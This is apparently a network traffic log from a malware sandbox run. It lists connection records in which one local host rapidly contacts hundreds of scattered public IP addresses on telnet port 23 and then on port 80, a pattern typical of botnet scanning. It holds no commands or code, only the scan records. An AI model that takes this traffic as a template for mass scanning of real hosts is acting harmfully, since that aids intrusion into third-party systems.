Oct 17, 2024 02:19:42.020359993 CEST	20632	23	192.168.2.14	146.5.252.31
Oct 17, 2024 02:19:42.020366907 CEST	23	20632	187.15.212.173	192.168.2.14
Oct 17, 2024 02:19:42.020395994 CEST	23	20632	147.61.94.87	192.168.2.14
Oct 17, 2024 02:19:42.020423889 CEST	23	20632	36.73.161.144	192.168.2.14
Oct 17, 2024 02:19:42.020437956 CEST	20632	23	192.168.2.14	191.52.2.170
Oct 17, 2024 02:19:42.020452023 CEST	23	20632	8.88.110.121	192.168.2.14
Oct 17, 2024 02:19:42.020479918 CEST	23	20632	189.237.252.146	192.168.2.14
Oct 17, 2024 02:19:42.020483971 CEST	20632	23	192.168.2.14	187.15.212.173
Oct 17, 2024 02:19:42.020483971 CEST	20632	23	192.168.2.14	147.61.94.87
Oct 17, 2024 02:19:42.020492077 CEST	20632	23	192.168.2.14	8.88.110.121
Oct 17, 2024 02:19:42.020508051 CEST	23	20632	119.148.177.141	192.168.2.14
Oct 17, 2024 02:19:42.020536900 CEST	23	20632	85.208.210.124	192.168.2.14
Oct 17, 2024 02:19:42.020546913 CEST	20632	23	192.168.2.14	119.148.177.141
Oct 17, 2024 02:19:42.020565033 CEST	23	20632	54.89.172.182	192.168.2.14
Oct 17, 2024 02:19:42.020572901 CEST	20632	23	192.168.2.14	85.208.210.124
Oct 17, 2024 02:19:42.020593882 CEST	23	20632	164.230.238.215	192.168.2.14
Oct 17, 2024 02:19:42.020606041 CEST	20632	23	192.168.2.14	36.73.161.144
Oct 17, 2024 02:19:42.020622969 CEST	23	20632	199.243.98.255	192.168.2.14
Oct 17, 2024 02:19:42.020626068 CEST	20632	23	192.168.2.14	54.89.172.182
Oct 17, 2024 02:19:42.020629883 CEST	20632	23	192.168.2.14	189.237.252.146
Oct 17, 2024 02:19:42.020652056 CEST	23	20632	108.83.216.23	192.168.2.14
Oct 17, 2024 02:19:42.020672083 CEST	20632	23	192.168.2.14	164.230.238.215
Oct 17, 2024 02:19:42.020684004 CEST	23	20632	182.251.201.68	192.168.2.14
Oct 17, 2024 02:19:42.020705938 CEST	20632	23	192.168.2.14	199.243.98.255
Oct 17, 2024 02:19:42.020720005 CEST	23	20632	62.161.167.51	192.168.2.14
Oct 17, 2024 02:19:42.020735979 CEST	20632	23	192.168.2.14	182.251.201.68
Oct 17, 2024 02:19:42.020772934 CEST	20632	23	192.168.2.14	62.161.167.51
Oct 17, 2024 02:19:42.020906925 CEST	23	20632	57.174.166.160	192.168.2.14
Oct 17, 2024 02:19:42.020936012 CEST	23	20632	62.34.120.136	192.168.2.14
Oct 17, 2024 02:19:42.020965099 CEST	23	20632	161.78.183.96	192.168.2.14
Oct 17, 2024 02:19:42.020992041 CEST	23	20632	137.20.225.95	192.168.2.14
Oct 17, 2024 02:19:42.021019936 CEST	23	20632	194.120.215.111	192.168.2.14
Oct 17, 2024 02:19:42.021035910 CEST	20632	23	192.168.2.14	161.78.183.96
Oct 17, 2024 02:19:42.021048069 CEST	23	20632	77.92.59.3	192.168.2.14
Oct 17, 2024 02:19:42.021059036 CEST	20632	23	192.168.2.14	137.20.225.95
Oct 17, 2024 02:19:42.021059036 CEST	20632	23	192.168.2.14	57.174.166.160
Oct 17, 2024 02:19:42.021075964 CEST	23	20632	52.213.79.244	192.168.2.14
Oct 17, 2024 02:19:42.021080017 CEST	20632	23	192.168.2.14	194.120.215.111
Oct 17, 2024 02:19:42.021085024 CEST	20632	23	192.168.2.14	62.34.120.136
Oct 17, 2024 02:19:42.021086931 CEST	20632	23	192.168.2.14	108.83.216.23
Oct 17, 2024 02:19:42.021086931 CEST	20632	23	192.168.2.14	77.92.59.3
Oct 17, 2024 02:19:42.021104097 CEST	23	20632	74.206.155.251	192.168.2.14
Oct 17, 2024 02:19:42.021140099 CEST	23	20632	113.157.137.180	192.168.2.14
Oct 17, 2024 02:19:42.021146059 CEST	20632	23	192.168.2.14	52.213.79.244
Oct 17, 2024 02:19:42.021178961 CEST	23	20632	141.156.125.75	192.168.2.14
Oct 17, 2024 02:19:42.021219969 CEST	23	20632	169.175.234.117	192.168.2.14
Oct 17, 2024 02:19:42.021231890 CEST	20632	23	192.168.2.14	113.157.137.180
Oct 17, 2024 02:19:42.021231890 CEST	20632	23	192.168.2.14	74.206.155.251
Oct 17, 2024 02:19:42.021231890 CEST	20632	23	192.168.2.14	141.156.125.75
Oct 17, 2024 02:19:42.021249056 CEST	23	20632	93.198.9.44	192.168.2.14
Oct 17, 2024 02:19:42.021275997 CEST	23	20632	140.243.68.151	192.168.2.14
Oct 17, 2024 02:19:42.021296978 CEST	20632	23	192.168.2.14	93.198.9.44
Oct 17, 2024 02:19:42.021303892 CEST	23	20632	35.131.136.42	192.168.2.14
Oct 17, 2024 02:19:42.021322012 CEST	20632	23	192.168.2.14	140.243.68.151
Oct 17, 2024 02:19:42.021332026 CEST	23	20632	210.148.156.1	192.168.2.14
Oct 17, 2024 02:19:42.021359921 CEST	23	20632	167.79.166.218	192.168.2.14
Oct 17, 2024 02:19:42.021364927 CEST	20632	23	192.168.2.14	35.131.136.42
Oct 17, 2024 02:19:42.021388054 CEST	23	20632	53.144.53.108	192.168.2.14
Oct 17, 2024 02:19:42.021388054 CEST	20632	23	192.168.2.14	210.148.156.1
Oct 17, 2024 02:19:42.021411896 CEST	20632	23	192.168.2.14	167.79.166.218
Oct 17, 2024 02:19:42.021413088 CEST	20632	23	192.168.2.14	169.175.234.117
Oct 17, 2024 02:19:42.021416903 CEST	23	20632	25.245.195.116	192.168.2.14
Oct 17, 2024 02:19:42.021445036 CEST	23	20632	32.117.182.22	192.168.2.14
Oct 17, 2024 02:19:42.021450043 CEST	20632	23	192.168.2.14	53.144.53.108
Oct 17, 2024 02:19:42.021472931 CEST	23	20632	91.160.147.105	192.168.2.14
Oct 17, 2024 02:19:42.021481037 CEST	20632	23	192.168.2.14	25.245.195.116
Oct 17, 2024 02:19:42.021492958 CEST	20632	23	192.168.2.14	32.117.182.22
Oct 17, 2024 02:19:42.021505117 CEST	23	20632	71.225.45.205	192.168.2.14
Oct 17, 2024 02:19:42.021533966 CEST	23	20632	186.153.4.238	192.168.2.14
Oct 17, 2024 02:19:42.021557093 CEST	20632	23	192.168.2.14	91.160.147.105
Oct 17, 2024 02:19:42.021563053 CEST	23	20632	169.251.125.29	192.168.2.14
Oct 17, 2024 02:19:42.021590948 CEST	23	20632	19.125.2.28	192.168.2.14
Oct 17, 2024 02:19:42.021595001 CEST	20632	23	192.168.2.14	186.153.4.238
Oct 17, 2024 02:19:42.021619081 CEST	23	20632	212.35.36.126	192.168.2.14
Oct 17, 2024 02:19:42.021626949 CEST	20632	23	192.168.2.14	169.251.125.29
Oct 17, 2024 02:19:42.021637917 CEST	20632	23	192.168.2.14	71.225.45.205
Oct 17, 2024 02:19:42.021646976 CEST	23	20632	217.217.12.138	192.168.2.14
Oct 17, 2024 02:19:42.021668911 CEST	20632	23	192.168.2.14	19.125.2.28
Oct 17, 2024 02:19:42.021676064 CEST	23	20632	2.118.2.8	192.168.2.14
Oct 17, 2024 02:19:42.021682024 CEST	20632	23	192.168.2.14	212.35.36.126
Oct 17, 2024 02:19:42.021704912 CEST	23	20632	46.18.60.0	192.168.2.14
Oct 17, 2024 02:19:42.021716118 CEST	20632	23	192.168.2.14	217.217.12.138
Oct 17, 2024 02:19:42.021733999 CEST	23	20632	125.155.1.204	192.168.2.14
Oct 17, 2024 02:19:42.021761894 CEST	23	20632	210.58.90.228	192.168.2.14
Oct 17, 2024 02:19:42.021774054 CEST	20632	23	192.168.2.14	46.18.60.0
Oct 17, 2024 02:19:42.021781921 CEST	20632	23	192.168.2.14	2.118.2.8
Oct 17, 2024 02:19:42.021790028 CEST	20632	23	192.168.2.14	125.155.1.204
Oct 17, 2024 02:19:42.021790028 CEST	23	20632	148.173.100.3	192.168.2.14
Oct 17, 2024 02:19:42.021802902 CEST	20632	23	192.168.2.14	210.58.90.228
Oct 17, 2024 02:19:42.023281097 CEST	20632	23	192.168.2.14	148.173.100.3
Oct 17, 2024 02:19:42.026446104 CEST	43266	23	192.168.2.14	144.113.203.170
Oct 17, 2024 02:19:42.031560898 CEST	23	43266	144.113.203.170	192.168.2.14
Oct 17, 2024 02:19:42.035358906 CEST	43266	23	192.168.2.14	144.113.203.170
Oct 17, 2024 02:19:42.042073011 CEST	60220	23	192.168.2.14	177.241.76.238
Oct 17, 2024 02:19:42.047203064 CEST	23	60220	177.241.76.238	192.168.2.14
Oct 17, 2024 02:19:42.047274113 CEST	60220	23	192.168.2.14	177.241.76.238
Oct 17, 2024 02:19:42.050820112 CEST	20646	80	192.168.2.14	64.83.62.143
Oct 17, 2024 02:19:42.050823927 CEST	20646	80	192.168.2.14	202.203.247.162
Oct 17, 2024 02:19:42.050825119 CEST	20646	80	192.168.2.14	157.135.58.67
Oct 17, 2024 02:19:42.050833941 CEST	20646	80	192.168.2.14	17.87.105.127
Oct 17, 2024 02:19:42.050837040 CEST	20646	80	192.168.2.14	192.85.254.165
Oct 17, 2024 02:19:42.050837040 CEST	20646	80	192.168.2.14	177.189.44.164
Oct 17, 2024 02:19:42.050837040 CEST	20646	80	192.168.2.14	153.150.59.143
Oct 17, 2024 02:19:42.050853014 CEST	20646	80	192.168.2.14	75.158.215.170
Oct 17, 2024 02:19:42.050864935 CEST	20646	80	192.168.2.14	184.203.67.39
Oct 17, 2024 02:19:42.050877094 CEST	20646	80	192.168.2.14	60.189.243.125
Oct 17, 2024 02:19:42.050877094 CEST	20646	80	192.168.2.14	144.115.36.40
Oct 17, 2024 02:19:42.050879002 CEST	20646	80	192.168.2.14	13.14.193.174
Oct 17, 2024 02:19:42.050893068 CEST	20646	80	192.168.2.14	196.17.118.50
Oct 17, 2024 02:19:42.050893068 CEST	20646	80	192.168.2.14	82.175.146.244
Oct 17, 2024 02:19:42.050893068 CEST	20646	80	192.168.2.14	49.179.102.24
Oct 17, 2024 02:19:42.050894022 CEST	20646	80	192.168.2.14	46.121.251.242
Oct 17, 2024 02:19:42.050895929 CEST	20646	80	192.168.2.14	69.251.99.73
Oct 17, 2024 02:19:42.050894022 CEST	20646	80	192.168.2.14	132.88.63.251
Oct 17, 2024 02:19:42.050895929 CEST	20646	80	192.168.2.14	185.80.104.135
Oct 17, 2024 02:19:42.050895929 CEST	20646	80	192.168.2.14	101.168.105.124
Oct 17, 2024 02:19:42.050920010 CEST	20646	80	192.168.2.14	120.141.58.178
Oct 17, 2024 02:19:42.050921917 CEST	20646	80	192.168.2.14	61.75.108.157
Oct 17, 2024 02:19:42.050923109 CEST	20646	80	192.168.2.14	149.73.129.42
Oct 17, 2024 02:19:42.050923109 CEST	20646	80	192.168.2.14	217.253.195.9
Oct 17, 2024 02:19:42.050923109 CEST	20646	80	192.168.2.14	85.170.150.64
Oct 17, 2024 02:19:42.050925970 CEST	20646	80	192.168.2.14	218.34.157.101
Oct 17, 2024 02:19:42.050937891 CEST	20646	80	192.168.2.14	217.69.181.235
Oct 17, 2024 02:19:42.050951004 CEST	20646	80	192.168.2.14	67.128.90.72
Oct 17, 2024 02:19:42.050951958 CEST	20646	80	192.168.2.14	183.4.28.238
Oct 17, 2024 02:19:42.050959110 CEST	20646	80	192.168.2.14	147.231.31.154
Oct 17, 2024 02:19:42.050966978 CEST	20646	80	192.168.2.14	191.106.195.56
Oct 17, 2024 02:19:42.050971031 CEST	20646	80	192.168.2.14	68.164.64.138
Oct 17, 2024 02:19:42.050971985 CEST	20646	80	192.168.2.14	80.79.210.165
Oct 17, 2024 02:19:42.050976038 CEST	20646	80	192.168.2.14	90.143.21.32
Oct 17, 2024 02:19:42.050976038 CEST	20646	80	192.168.2.14	140.30.218.111
Oct 17, 2024 02:19:42.050976992 CEST	20646	80	192.168.2.14	75.160.155.53
Oct 17, 2024 02:19:42.050976992 CEST	20646	80	192.168.2.14	146.15.133.145
Oct 17, 2024 02:19:42.050978899 CEST	20646	80	192.168.2.14	45.190.3.164
Oct 17, 2024 02:19:42.050992012 CEST	20646	80	192.168.2.14	84.198.159.201
Oct 17, 2024 02:19:42.050993919 CEST	20646	80	192.168.2.14	27.95.84.251
Oct 17, 2024 02:19:42.051011086 CEST	20646	80	192.168.2.14	183.181.106.5
Oct 17, 2024 02:19:42.051012993 CEST	20646	80	192.168.2.14	221.124.208.191
Oct 17, 2024 02:19:42.051012993 CEST	20646	80	192.168.2.14	125.113.224.95
Oct 17, 2024 02:19:42.051012993 CEST	20646	80	192.168.2.14	210.212.90.14
Oct 17, 2024 02:19:42.051023960 CEST	20646	80	192.168.2.14	141.147.105.80
Oct 17, 2024 02:19:42.051023960 CEST	20646	80	192.168.2.14	94.141.60.198
Oct 17, 2024 02:19:42.051026106 CEST	20646	80	192.168.2.14	197.193.248.16
Oct 17, 2024 02:19:42.051023960 CEST	20646	80	192.168.2.14	216.60.71.192
Oct 17, 2024 02:19:42.051023960 CEST	20646	80	192.168.2.14	141.99.31.110
Oct 17, 2024 02:19:42.051031113 CEST	20646	80	192.168.2.14	181.188.83.237
Oct 17, 2024 02:19:42.051033974 CEST	20646	80	192.168.2.14	124.26.102.43
Oct 17, 2024 02:19:42.051045895 CEST	20646	80	192.168.2.14	101.145.217.75
Oct 17, 2024 02:19:42.051047087 CEST	20646	80	192.168.2.14	125.19.20.14
Oct 17, 2024 02:19:42.051047087 CEST	20646	80	192.168.2.14	5.203.14.157
Oct 17, 2024 02:19:42.051062107 CEST	20646	80	192.168.2.14	19.132.246.81
Oct 17, 2024 02:19:42.051080942 CEST	20646	80	192.168.2.14	79.81.229.244
Oct 17, 2024 02:19:42.051084995 CEST	20646	80	192.168.2.14	80.87.38.121
Oct 17, 2024 02:19:42.051080942 CEST	20646	80	192.168.2.14	86.57.136.127
Oct 17, 2024 02:19:42.051088095 CEST	20646	80	192.168.2.14	196.237.249.43
Oct 17, 2024 02:19:42.051093102 CEST	20646	80	192.168.2.14	58.5.123.80
Oct 17, 2024 02:19:42.051106930 CEST	20646	80	192.168.2.14	154.53.109.7
Oct 17, 2024 02:19:42.051110029 CEST	20646	80	192.168.2.14	106.195.245.121
Oct 17, 2024 02:19:42.051110029 CEST	20646	80	192.168.2.14	133.188.210.39
Oct 17, 2024 02:19:42.051134109 CEST	20646	80	192.168.2.14	66.187.97.161
Oct 17, 2024 02:19:42.051135063 CEST	20646	80	192.168.2.14	95.216.165.33
Oct 17, 2024 02:19:42.051135063 CEST	20646	80	192.168.2.14	223.94.36.92
Oct 17, 2024 02:19:42.051139116 CEST	20646	80	192.168.2.14	132.16.103.118
Oct 17, 2024 02:19:42.051139116 CEST	20646	80	192.168.2.14	152.109.114.246
Oct 17, 2024 02:19:42.051142931 CEST	20646	80	192.168.2.14	75.115.9.141
Oct 17, 2024 02:19:42.051152945 CEST	20646	80	192.168.2.14	172.202.124.97
Oct 17, 2024 02:19:42.051170111 CEST	20646	80	192.168.2.14	96.85.17.101
Oct 17, 2024 02:19:42.051182985 CEST	20646	80	192.168.2.14	100.50.107.236
Oct 17, 2024 02:19:42.051198006 CEST	20646	80	192.168.2.14	70.9.237.199
Oct 17, 2024 02:19:42.051204920 CEST	20646	80	192.168.2.14	108.132.193.29
Oct 17, 2024 02:19:42.051214933 CEST	20646	80	192.168.2.14	143.242.163.54
Oct 17, 2024 02:19:42.051215887 CEST	20646	80	192.168.2.14	46.153.243.27
Oct 17, 2024 02:19:42.051223993 CEST	20646	80	192.168.2.14	44.14.185.196
Oct 17, 2024 02:19:42.051228046 CEST	20646	80	192.168.2.14	187.126.160.47
Oct 17, 2024 02:19:42.051244974 CEST	20646	80	192.168.2.14	2.58.179.152
Oct 17, 2024 02:19:42.051248074 CEST	20646	80	192.168.2.14	174.99.48.123
Oct 17, 2024 02:19:42.051281929 CEST	20646	80	192.168.2.14	44.213.28.1
Oct 17, 2024 02:19:42.051284075 CEST	20646	80	192.168.2.14	189.107.91.173
Oct 17, 2024 02:19:42.051284075 CEST	20646	80	192.168.2.14	128.145.102.18
Oct 17, 2024 02:19:42.051284075 CEST	20646	80	192.168.2.14	184.21.22.32
Oct 17, 2024 02:19:42.051302910 CEST	20646	80	192.168.2.14	197.228.135.46
Oct 17, 2024 02:19:42.051305056 CEST	20646	80	192.168.2.14	112.88.9.157
Oct 17, 2024 02:19:42.051326036 CEST	20646	80	192.168.2.14	53.224.79.237
Oct 17, 2024 02:19:42.051332951 CEST	20646	80	192.168.2.14	83.55.80.210
Oct 17, 2024 02:19:42.051342964 CEST	20646	80	192.168.2.14	199.213.55.161
Oct 17, 2024 02:19:42.051345110 CEST	20646	80	192.168.2.14	4.37.39.244
Oct 17, 2024 02:19:42.051362991 CEST	20646	80	192.168.2.14	186.147.180.244
Oct 17, 2024 02:19:42.051363945 CEST	20646	80	192.168.2.14	2.138.250.123
Oct 17, 2024 02:19:42.051371098 CEST	20646	80	192.168.2.14	167.33.92.90
Oct 17, 2024 02:19:42.051371098 CEST	20646	80	192.168.2.14	175.177.223.140
Oct 17, 2024 02:19:42.051372051 CEST	20646	80	192.168.2.14	43.114.88.196
Oct 17, 2024 02:19:42.051372051 CEST	20646	80	192.168.2.14	13.183.170.66
Oct 17, 2024 02:19:42.051393032 CEST	20646	80	192.168.2.14	219.32.52.48
Oct 17, 2024 02:19:42.051400900 CEST	20646	80	192.168.2.14	217.233.27.177
Oct 17, 2024 02:19:42.051400900 CEST	20646	80	192.168.2.14	207.196.73.180
Oct 17, 2024 02:19:42.051400900 CEST	20646	80	192.168.2.14	54.64.194.107
Oct 17, 2024 02:19:42.051400900 CEST	20646	80	192.168.2.14	161.244.137.134
Oct 17, 2024 02:19:42.051400900 CEST	20646	80	192.168.2.14	121.229.88.36
Oct 17, 2024 02:19:42.051415920 CEST	20646	80	192.168.2.14	69.182.57.121
Oct 17, 2024 02:19:42.051418066 CEST	20646	80	192.168.2.14	169.62.160.127
Oct 17, 2024 02:19:42.051418066 CEST	20646	80	192.168.2.14	125.142.139.217
Oct 17, 2024 02:19:42.051419020 CEST	20646	80	192.168.2.14	57.153.24.16
Oct 17, 2024 02:19:42.051422119 CEST	20646	80	192.168.2.14	192.225.86.124
Oct 17, 2024 02:19:42.051431894 CEST	20646	80	192.168.2.14	183.52.160.48
Oct 17, 2024 02:19:42.051430941 CEST	20646	80	192.168.2.14	2.134.76.64
Oct 17, 2024 02:19:42.051434040 CEST	20646	80	192.168.2.14	43.211.141.159
Oct 17, 2024 02:19:42.051434994 CEST	20646	80	192.168.2.14	40.25.246.200
Oct 17, 2024 02:19:42.051446915 CEST	20646	80	192.168.2.14	157.42.210.58
Oct 17, 2024 02:19:42.051455021 CEST	20646	80	192.168.2.14	178.246.186.59
Oct 17, 2024 02:19:42.051455021 CEST	20646	80	192.168.2.14	140.250.153.47
Oct 17, 2024 02:19:42.051460981 CEST	20646	80	192.168.2.14	14.100.145.83
Oct 17, 2024 02:19:42.051479101 CEST	20646	80	192.168.2.14	44.225.198.140
Oct 17, 2024 02:19:42.051497936 CEST	20646	80	192.168.2.14	187.111.183.214
Oct 17, 2024 02:19:42.051497936 CEST	20646	80	192.168.2.14	178.189.70.238
Oct 17, 2024 02:19:42.051497936 CEST	20646	80	192.168.2.14	41.29.253.253
Oct 17, 2024 02:19:42.051501036 CEST	20646	80	192.168.2.14	156.126.216.186
Oct 17, 2024 02:19:42.051501036 CEST	20646	80	192.168.2.14	146.18.64.88
Oct 17, 2024 02:19:42.051506042 CEST	20646	80	192.168.2.14	69.231.141.170
Oct 17, 2024 02:19:42.051544905 CEST	20646	80	192.168.2.14	172.173.105.252
Oct 17, 2024 02:19:42.051544905 CEST	20646	80	192.168.2.14	155.213.46.126
Oct 17, 2024 02:19:42.051552057 CEST	20646	80	192.168.2.14	51.255.169.0
Oct 17, 2024 02:19:42.051559925 CEST	20646	80	192.168.2.14	176.157.19.201
Oct 17, 2024 02:19:42.051569939 CEST	20646	80	192.168.2.14	130.4.135.75
Oct 17, 2024 02:19:42.051570892 CEST	20646	80	192.168.2.14	25.250.72.92
Oct 17, 2024 02:19:42.051582098 CEST	20646	80	192.168.2.14	60.105.73.107
Oct 17, 2024 02:19:42.051582098 CEST	20646	80	192.168.2.14	72.27.79.109
Oct 17, 2024 02:19:42.051582098 CEST	20646	80	192.168.2.14	151.75.120.219
Oct 17, 2024 02:19:42.051609993 CEST	20646	80	192.168.2.14	165.81.208.150
Oct 17, 2024 02:19:42.051609993 CEST	20646	80	192.168.2.14	170.170.252.209
Oct 17, 2024 02:19:42.051613092 CEST	20646	80	192.168.2.14	197.86.229.99
Oct 17, 2024 02:19:42.051614046 CEST	20646	80	192.168.2.14	163.93.78.245
Oct 17, 2024 02:19:42.051621914 CEST	20646	80	192.168.2.14	207.122.182.219
Oct 17, 2024 02:19:42.051640987 CEST	20646	80	192.168.2.14	181.119.61.123
Oct 17, 2024 02:19:42.051646948 CEST	20646	80	192.168.2.14	13.244.192.38
Oct 17, 2024 02:19:42.051646948 CEST	20646	80	192.168.2.14	99.46.139.88
Oct 17, 2024 02:19:42.051662922 CEST	20646	80	192.168.2.14	184.153.57.94
Oct 17, 2024 02:19:42.051666975 CEST	20646	80	192.168.2.14	140.218.161.239
Oct 17, 2024 02:19:42.051667929 CEST	20646	80	192.168.2.14	42.95.43.231
Oct 17, 2024 02:19:42.051667929 CEST	20646	80	192.168.2.14	213.99.231.21
Oct 17, 2024 02:19:42.051667929 CEST	20646	80	192.168.2.14	49.175.27.157
Oct 17, 2024 02:19:42.051678896 CEST	20646	80	192.168.2.14	43.107.90.201
Oct 17, 2024 02:19:42.051681995 CEST	20646	80	192.168.2.14	206.205.159.83
Oct 17, 2024 02:19:42.051703930 CEST	20646	80	192.168.2.14	84.116.161.39
Oct 17, 2024 02:19:42.051714897 CEST	20646	80	192.168.2.14	206.210.162.244
Oct 17, 2024 02:19:42.051716089 CEST	20646	80	192.168.2.14	76.54.170.9
Oct 17, 2024 02:19:42.051716089 CEST	20646	80	192.168.2.14	39.178.80.70
Oct 17, 2024 02:19:42.051717043 CEST	20646	80	192.168.2.14	169.170.69.218
Oct 17, 2024 02:19:42.051717043 CEST	20646	80	192.168.2.14	114.219.78.1
Oct 17, 2024 02:19:42.051740885 CEST	20646	80	192.168.2.14	148.145.85.24
Oct 17, 2024 02:19:42.051750898 CEST	20646	80	192.168.2.14	87.99.217.13
Oct 17, 2024 02:19:42.051750898 CEST	20646	80	192.168.2.14	145.206.241.64
Oct 17, 2024 02:19:42.051758051 CEST	20646	80	192.168.2.14	96.135.61.95
Oct 17, 2024 02:19:42.051758051 CEST	20646	80	192.168.2.14	200.204.81.119
Oct 17, 2024 02:19:42.051759005 CEST	20646	80	192.168.2.14	191.224.205.172
Oct 17, 2024 02:19:42.051764965 CEST	20646	80	192.168.2.14	49.101.228.136
Oct 17, 2024 02:19:42.051778078 CEST	20646	80	192.168.2.14	93.96.7.29
Oct 17, 2024 02:19:42.051796913 CEST	20646	80	192.168.2.14	100.244.46.68
Oct 17, 2024 02:19:42.051805019 CEST	20646	80	192.168.2.14	182.32.66.108
Oct 17, 2024 02:19:42.051805019 CEST	20646	80	192.168.2.14	42.244.201.159
Oct 17, 2024 02:19:42.051805019 CEST	20646	80	192.168.2.14	161.105.129.68
Oct 17, 2024 02:19:42.051805019 CEST	20646	80	192.168.2.14	194.148.156.124
Oct 17, 2024 02:19:42.051856041 CEST	20646	80	192.168.2.14	54.81.30.42
Oct 17, 2024 02:19:42.051872969 CEST	20646	80	192.168.2.14	70.171.219.235
Oct 17, 2024 02:19:42.051882029 CEST	20646	80	192.168.2.14	80.151.235.253
Oct 17, 2024 02:19:42.051884890 CEST	20646	80	192.168.2.14	111.51.240.175
Oct 17, 2024 02:19:42.051912069 CEST	20646	80	192.168.2.14	18.39.79.58
Oct 17, 2024 02:19:42.051913023 CEST	20646	80	192.168.2.14	101.200.249.130
Oct 17, 2024 02:19:42.051913023 CEST	20646	80	192.168.2.14	13.133.65.98
Oct 17, 2024 02:19:42.051913977 CEST	20646	80	192.168.2.14	54.196.137.138
Oct 17, 2024 02:19:42.051915884 CEST	20646	80	192.168.2.14	64.181.172.234
Oct 17, 2024 02:19:42.051915884 CEST	20646	80	192.168.2.14	51.136.183.104
Oct 17, 2024 02:19:42.051919937 CEST	20646	80	192.168.2.14	179.13.231.108
Oct 17, 2024 02:19:42.051919937 CEST	20646	80	192.168.2.14	220.178.181.89
Oct 17, 2024 02:19:42.051947117 CEST	20646	80	192.168.2.14	5.209.153.125
Oct 17, 2024 02:19:42.051951885 CEST	20646	80	192.168.2.14	75.0.143.107
Oct 17, 2024 02:19:42.051951885 CEST	20646	80	192.168.2.14	172.234.186.175
Oct 17, 2024 02:19:42.051954031 CEST	20646	80	192.168.2.14	221.42.147.161
Oct 17, 2024 02:19:42.051964045 CEST	20646	80	192.168.2.14	97.198.174.33
Oct 17, 2024 02:19:42.051964998 CEST	20646	80	192.168.2.14	72.243.76.83
Oct 17, 2024 02:19:42.051970959 CEST	20646	80	192.168.2.14	189.166.187.209
Oct 17, 2024 02:19:42.051995039 CEST	20646	80	192.168.2.14	83.3.126.61
Oct 17, 2024 02:19:42.052004099 CEST	20646	80	192.168.2.14	67.2.21.79
Oct 17, 2024 02:19:42.052002907 CEST	20646	80	192.168.2.14	147.216.140.232
Oct 17, 2024 02:19:42.052002907 CEST	20646	80	192.168.2.14	148.32.79.106
Oct 17, 2024 02:19:42.052002907 CEST	20646	80	192.168.2.14	64.118.24.69
Oct 17, 2024 02:19:42.052010059 CEST	20646	80	192.168.2.14	143.141.176.96
Oct 17, 2024 02:19:42.052010059 CEST	20646	80	192.168.2.14	187.139.191.219
Oct 17, 2024 02:19:42.052010059 CEST	20646	80	192.168.2.14	90.25.100.46
Oct 17, 2024 02:19:42.052014112 CEST	20646	80	192.168.2.14	210.100.231.251
Oct 17, 2024 02:19:42.052041054 CEST	20646	80	192.168.2.14	171.221.149.201
Oct 17, 2024 02:19:42.052050114 CEST	20646	80	192.168.2.14	47.180.120.224
Oct 17, 2024 02:19:42.052051067 CEST	20646	80	192.168.2.14	97.148.16.41
Oct 17, 2024 02:19:42.052051067 CEST	20646	80	192.168.2.14	20.80.206.237
Oct 17, 2024 02:19:42.052078009 CEST	20646	80	192.168.2.14	4.237.90.41
Oct 17, 2024 02:19:42.052083015 CEST	20646	80	192.168.2.14	137.203.39.117
Oct 17, 2024 02:19:42.052083015 CEST	20646	80	192.168.2.14	139.116.81.160
Oct 17, 2024 02:19:42.052093029 CEST	20646	80	192.168.2.14	63.111.5.159
Oct 17, 2024 02:19:42.052098989 CEST	20646	80	192.168.2.14	92.162.19.63
Oct 17, 2024 02:19:42.052102089 CEST	20646	80	192.168.2.14	146.82.210.0
Oct 17, 2024 02:19:42.052102089 CEST	20646	80	192.168.2.14	218.119.161.152
Oct 17, 2024 02:19:42.052103043 CEST	20646	80	192.168.2.14	123.22.176.65
Oct 17, 2024 02:19:42.052102089 CEST	20646	80	192.168.2.14	57.162.127.63
Oct 17, 2024 02:19:42.052103043 CEST	20646	80	192.168.2.14	45.146.100.37
Oct 17, 2024 02:19:42.052107096 CEST	20646	80	192.168.2.14	164.0.88.50
Oct 17, 2024 02:19:42.052108049 CEST	20646	80	192.168.2.14	60.225.172.59
Oct 17, 2024 02:19:42.052115917 CEST	20646	80	192.168.2.14	148.6.10.99
Oct 17, 2024 02:19:42.052118063 CEST	20646	80	192.168.2.14	62.108.168.183
Oct 17, 2024 02:19:42.052118063 CEST	20646	80	192.168.2.14	159.75.213.178
Oct 17, 2024 02:19:42.052119970 CEST	20646	80	192.168.2.14	168.196.230.242
Oct 17, 2024 02:19:42.052129984 CEST	20646	80	192.168.2.14	135.79.82.173
Oct 17, 2024 02:19:42.052138090 CEST	20646	80	192.168.2.14	20.130.164.83
Oct 17, 2024 02:19:42.052138090 CEST	20646	80	192.168.2.14	151.59.237.242
Oct 17, 2024 02:19:42.052149057 CEST	20646	80	192.168.2.14	71.249.246.175
Oct 17, 2024 02:19:42.052149057 CEST	20646	80	192.168.2.14	137.237.114.3
Oct 17, 2024 02:19:42.052164078 CEST	20646	80	192.168.2.14	122.182.117.195
Oct 17, 2024 02:19:42.052187920 CEST	20646	80	192.168.2.14	204.184.118.59
Oct 17, 2024 02:19:42.052187920 CEST	20646	80	192.168.2.14	97.216.99.4
Oct 17, 2024 02:19:42.052195072 CEST	20646	80	192.168.2.14	167.251.27.41
Oct 17, 2024 02:19:42.052203894 CEST	20646	80	192.168.2.14	174.151.9.98
Oct 17, 2024 02:19:42.052203894 CEST	20646	80	192.168.2.14	5.204.192.162
Oct 17, 2024 02:19:42.052206039 CEST	20646	80	192.168.2.14	219.128.179.250
Oct 17, 2024 02:19:42.052208900 CEST	20646	80	192.168.2.14	50.66.43.204
Oct 17, 2024 02:19:42.052222967 CEST	20646	80	192.168.2.14	61.48.242.98
Oct 17, 2024 02:19:42.052223921 CEST	20646	80	192.168.2.14	200.72.135.19
Oct 17, 2024 02:19:42.052223921 CEST	20646	80	192.168.2.14	91.213.134.146
Oct 17, 2024 02:19:42.052239895 CEST	20646	80	192.168.2.14	31.51.36.105
Oct 17, 2024 02:19:42.052253008 CEST	20646	80	192.168.2.14	39.13.248.171
Oct 17, 2024 02:19:42.052253008 CEST	20646	80	192.168.2.14	196.70.42.126
Oct 17, 2024 02:19:42.052253962 CEST	20646	80	192.168.2.14	192.216.239.35
Oct 17, 2024 02:19:42.052254915 CEST	20646	80	192.168.2.14	65.216.174.163
Oct 17, 2024 02:19:42.052268982 CEST	20646	80	192.168.2.14	42.75.92.72
Oct 17, 2024 02:19:42.052274942 CEST	20646	80	192.168.2.14	71.227.223.29
Oct 17, 2024 02:19:42.052277088 CEST	20646	80	192.168.2.14	161.150.43.80
